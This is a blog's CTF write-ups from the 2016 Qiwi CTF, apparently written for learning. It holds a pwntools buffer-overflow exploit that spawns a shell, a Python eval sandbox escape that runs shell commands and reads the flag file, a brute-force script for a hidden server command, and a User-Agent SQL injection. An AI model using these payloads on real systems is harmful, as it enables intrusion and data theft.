Monday, 21 November 2016

Qiwi ctf write-ups cont.

Standard
As I said, here is the rest of the tasks.

PWN 100_5

Description:
nc 138.201.98.60 3333 
binary
Looking at the binary, it turns out to be a server that accepts commands LIST, LAST, HELP and one more command that is said to be a secret one, but the prompt that invited us when connecting didn't give any hint about what it can be, looking at it in disassembler and searching with strings that were printed to us we can quickly navigate to part of the code that is responsible for determining which command has been sent. Command recognition is implemented by calculating hash out of a command and comparing with hard coded value in the binary.
At this point we can do one of two things, reverse hashing algorithm and look for a way to find out what the command is.
The other approach is to just use some brute force :D
You can guess which approach I've chosen looking at the code below:

#!/usr/bin/env python
import telnetlib
import string
import itertools
import time
tb = telnetlib.Telnet("localhost", 3333)
print(tb.read_until(b">"))
i=1
counter = 0
while True:
    for guess in itertools.product(string.lowercase, repeat=i):
        tb.write(bytes(guess) + b"\n")
        out = tb.read_until(b">")
        if "notrealofc" in out:
            print(guess)
            break
        else:
            counter +=1
        if counter % 500 == 0:
            print("Counter: %d" % counter)
        time.sleep(0.001)
    i+=1

Binary was printing "notrealofc" when you have put the right command.
If you look closely at this code, you can see there is a mistake, guess is actually a tuple not a string, I've forgot to join the result of itertools.product, the funny thing is that it worked, my final answer was: '("e","u","s","h")' - I guess the hashing algorithm was vulnerable to collisions big time!

PWN 100_1

Description:

My litle easy BOF  
nc 138.201.98.42 4000
After connecting to the server we could put some input and after that stack was printed to us with return address from function marked. It was tho most basic task of executing our own payload from stack, addresses of stack weren't changing between connections. (For checking what protections are turned on in the binary you can use this tool, pwndbg has such capabilities as well)
When we knew what is the challenge about, writing exploit using pwntools was a piece of cake. (for beginners I recommend my little guide about binary exploitation here)

#!/usr/bin/env python3
from pwn import *
context(arch='i386', os='linux')
r = remote('138.201.98.42', 4000)
r.send("A"*144)
r.send(struct.pack("I", 0xffffd080))
r.send(asm(shellcraft.sh()))
r.interactive()

I really recommend looking a bit into it, it's a really great tool for not only ctfs but also shellcrafting etc., maybe I will write about it a bit more one day.
(I can't post the flags because servers are down and I didn't save them anywhere, you have to believe me that it worked)

Saturday, 19 November 2016

Qiwi ctf write-ups

Standard
I did participate in the qiwictf that was held on 17.11-18.11 but I had chance to play for one day only, here are some tasks that I've managed to solve.

PWN 100_4

Description:
My_first_calc… sorry... you can use it in 138.201.98.43:4000
After netcat-ing to the given address we can see calculator that allows us to make simplest arithmetic operations.

==================================================
===========Welcome to my first calculator=========
==================================================
example use:
>2+2*2
>exit

>0/0         
Wrong data!
>2+2
4
>3/0
Wrong data!
>[]*45
[]
>[7]*70     
[7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7]
>

After some fun with it you can see that it looks like it uses python's eval function to give us an answer
But we cannot import anything. There is some whitelisting going on, first thing I assumed that they just removed __builtins__. It came out to be true.
The simplest trick is to do something like:

>[].__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').system("ls -la")
total 36
dr-xr-xr-x 3 user user 4096 Nov 18 12:40 .
drwxr-xr-x 3 root root 4096 Oct 28 16:37 ..
-rw------- 1 user user 1244 Nov 18 11:01 .bash_history
-r--r--r-- 1 user user  220 Oct 28 16:37 .bash_logout
-r--r--r-- 1 user user 3515 Oct 28 16:37 .bashrc
-r--r--r-- 1 root root   16 Nov 17 12:17 flag
-r--r--r-- 1 user user  675 Oct 28 16:37 .profile
drwxr-xr-x 2 user user 4096 Nov 18 12:40 .ssh
-r-xr-xr-x 1 user user  339 Nov 11 11:15 task
0
>[].__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').system("cat flag")
Uo5RbQxVbdWquqJ
0

Which gives us the flag and 100 points! To learn more about python sandbox, and tricks used to escape, I recommend Gynvael's post about this topic.

Reverse 100_2

Description:
I have a snake. CrackMe!
So we were supplied with a file "task.pyc". After running file command on it we can see it's a python2.7 .pyc.
I've used uncompyle2 to uncompile (surprise!) the file, output:

#Embedded file name: task.py
import marshal
src = 'YwAAAAADAAAAGAAAAEMAAABz7wAAAGQBAGoAAGcAAGQCAGQDAGQEAGQFAGQGAGQHAGQIAGQJAGQKAGQLAGQMAGQNAGQOAGQPAGQMAGcPAERdHAB9AAB0AQB0AgB8AACDAQBkEAAXgwEAXgIAcToAgwEAfQEAdAMAZBEAgwEAfQIAfAIAfAEAawIAcuYAZAEAagAAZwAAZBIAZBMAZBQAZBUAZBYAZBcAZBgAZBkAZBoAZBsAZBwAZB0AZB4AZAsAZBwAZB8AZAMAZB0AZAgAZB4AZCAAZCEAZxYARF0VAH0AAHwAAGoEAGQiAIMBAF4CAHHGAIMBAEdIbgUAZCMAR0hkAABTKCQAAABOdAAAAAB0AQAAAF50AQAAADR0AQAAAEt0AQAAAGl0AQAAAC50AQAAAC90AQAAAE50AQAAAGp0AQAAAFB0AQAAAG90AQAAAD90AQAAAGx0AQAAADJ0AQAAAFRpAwAAAHMJAAAAWW91IHBhc3M6dAEAAABzdAEAAAB5dAEAAABudAEAAAB0dAEAAAA6dAEAAAB7dAEAAAB3dAEAAABxdAEAAABFdAEAAAA2dAEAAABmdAEAAABYdAEAAAB1dAEAAABhdAEAAAAxdAEAAAB9dAUAAABST1QxM3MFAAAATm8gOigoBQAAAHQEAAAAam9pbnQDAAAAY2hydAMAAABvcmR0CQAAAHJhd19pbnB1dHQGAAAAZGVjb2RlKAMAAAB0AQAAAGV0AwAAAHRtcHQGAAAAcGFzc3dkKAAAAAAoAAAAAHMHAAAAdGFzay5weVIcAAAAAgAAAHMKAAAAAAFfAQwBDAFvAQ=='.decode('base64')
code = marshal.loads(src)
exec code
+++ okay decompyling task.pyc

We can see some obfuscation going on, let's run the code and see what is does.

$ python task.pyc 
You pass:something
No :(
$ 

As we can see it needs a password to print the flag, that means the password(and flag) is probably hidden inside the code, let's uncompyle some more. Our src variable in code above is actually a code object, we can make a new .pyc out of that.

import py_compile, time
src = 'YwAAAAADAAAAGAAAAEMAAABz7wAAAGQBAGoAAGcAAGQCAGQDAGQEAGQFAGQGAGQHAGQIAGQJAGQKAGQLAGQMAGQNAGQOAGQPAGQMAGcPAERdHAB9AAB0AQB0AgB8AACDAQBkEAAXgwEAXgIAcToAgwEAfQEAdAMAZBEAgwEAfQIAfAIAfAEAawIAcuYAZAEAagAAZwAAZBIAZBMAZBQAZBUAZBYAZBcAZBgAZBkAZBoAZBsAZBwAZB0AZB4AZAsAZBwAZB8AZAMAZB0AZAgAZB4AZCAAZCEAZxYARF0VAH0AAHwAAGoEAGQiAIMBAF4CAHHGAIMBAEdIbgUAZCMAR0hkAABTKCQAAABOdAAAAAB0AQAAAF50AQAAADR0AQAAAEt0AQAAAGl0AQAAAC50AQAAAC90AQAAAE50AQAAAGp0AQAAAFB0AQAAAG90AQAAAD90AQAAAGx0AQAAADJ0AQAAAFRpAwAAAHMJAAAAWW91IHBhc3M6dAEAAABzdAEAAAB5dAEAAABudAEAAAB0dAEAAAA6dAEAAAB7dAEAAAB3dAEAAABxdAEAAABFdAEAAAA2dAEAAABmdAEAAABYdAEAAAB1dAEAAABhdAEAAAAxdAEAAAB9dAUAAABST1QxM3MFAAAATm8gOigoBQAAAHQEAAAAam9pbnQDAAAAY2hydAMAAABvcmR0CQAAAHJhd19pbnB1dHQGAAAAZGVjb2RlKAMAAAB0AQAAAGV0AwAAAHRtcHQGAAAAcGFzc3dkKAAAAAAoAAAAAHMHAAAAdGFzay5weVIcAAAAAgAAAHMKAAAAAAFfAQwBDAFvAQ=='.decode('base64')
with open("new.pyc", "wb+") as f:
    f.write(py_compile.MAGIC)
    py_compile.wr_long(f, long(time.time()))
    f.write(src)

This gives us correct .pyc that we can uncompile using uncompyle2 new.pyc

#Embedded file name: task.py
tmp = ''.join([ chr(ord(e) + 3) for e in ['^',
 '4',
 'K',
 'i',
 '.',
 '/',
 'N',
 'j',
 'P',
 'o',
 '?',
 'l',
 '2',
 'T',
 '?'] ])
passwd = raw_input('You pass:')
if passwd == tmp:
    print ''.join([ e.decode('ROT13') for e in ['s',
     'y',
     'n',
     't',
     ':',
     '{',
     'w',
     'q',
     'E',
     '6',
     'f',
     'X',
     'u',
     'o',
     'f',
     'a',
     '4',
     'X',
     'N',
     'u',
     '1',
     '}'] ])
else:
    print 'No :('
+++ okay decompyling new.pyc 

We just take the code that prints the flag and run it, giving us the flag:
flag:{jdR6sKhbsn4KAh1}

ponylog - Web 100 

Description:
HOW CAN HE DO THAAT? Web-page
 The site was counting how many times we visited it, the question is how does it do that, the first thing I've checked were cookies, but there were none of those. Next thing that popped into my mind was user-agent, and it turned out to be bull's eye. There was an sql incjection in the user-agent field.


But something was wrong, after few minutes and some tries I realized that our query was ROT13-ed first. Error was suggesting sqlite, so I've tried to pull out some info from sqlite_master database, where I found table name. Final query was
' union select ua from logs-- 
The result was huge, because every activity was logged(some people were using sqlmap which ended up filling the database with thousands of queries). I didn't really knew if flag is inside this table, and there was no flag format specified, so I just searched for 'flag' with hopes for the best.


I've tried what I found
FLAG_OMG_REALLY_SIMPLE_LOL,RIGHT?
And that was actually the flag.

I've managed to solve one or two more tasks in the time that I had for this ctf for which I will probably upload write-ups in the near future.